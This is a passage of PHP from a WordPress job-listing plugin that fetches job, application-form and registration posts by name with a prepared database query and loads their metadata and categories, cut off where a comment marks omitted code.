$posts[0]->post_content = $options['text']['category_before'] . $posts[0]->post_content . $options['text']['category_after'];
}
} else {
if (isset($wp_query->query_vars['jobman_page']) || NULL != $post && in_array($post->post_type, array('jobman_job', 'jobman_app_form', 'jobman_register'))) {
if (NULL == $post || !in_array($post->post_type, array('jobman_job', 'jobman_app_form', 'jobman_register'))) {
$sql = "SELECT * FROM {$wpdb->posts} WHERE (post_type='jobman_job' OR post_type='jobman_app_form' OR post_type='jobman_register') AND post_name=%s;";
$sql = $wpdb->prepare($sql, $wp_query->query_vars['jobman_page']);
$data = $wpdb->get_results($sql, OBJECT);
} else {
$data = array($post);
}
if (count($data) > 0) {
$post = $data[0];
$postmeta = get_post_custom($post->ID);
$postcats = wp_get_object_terms($post->ID, 'jobman_category');
//.........這裏部分代碼省略.........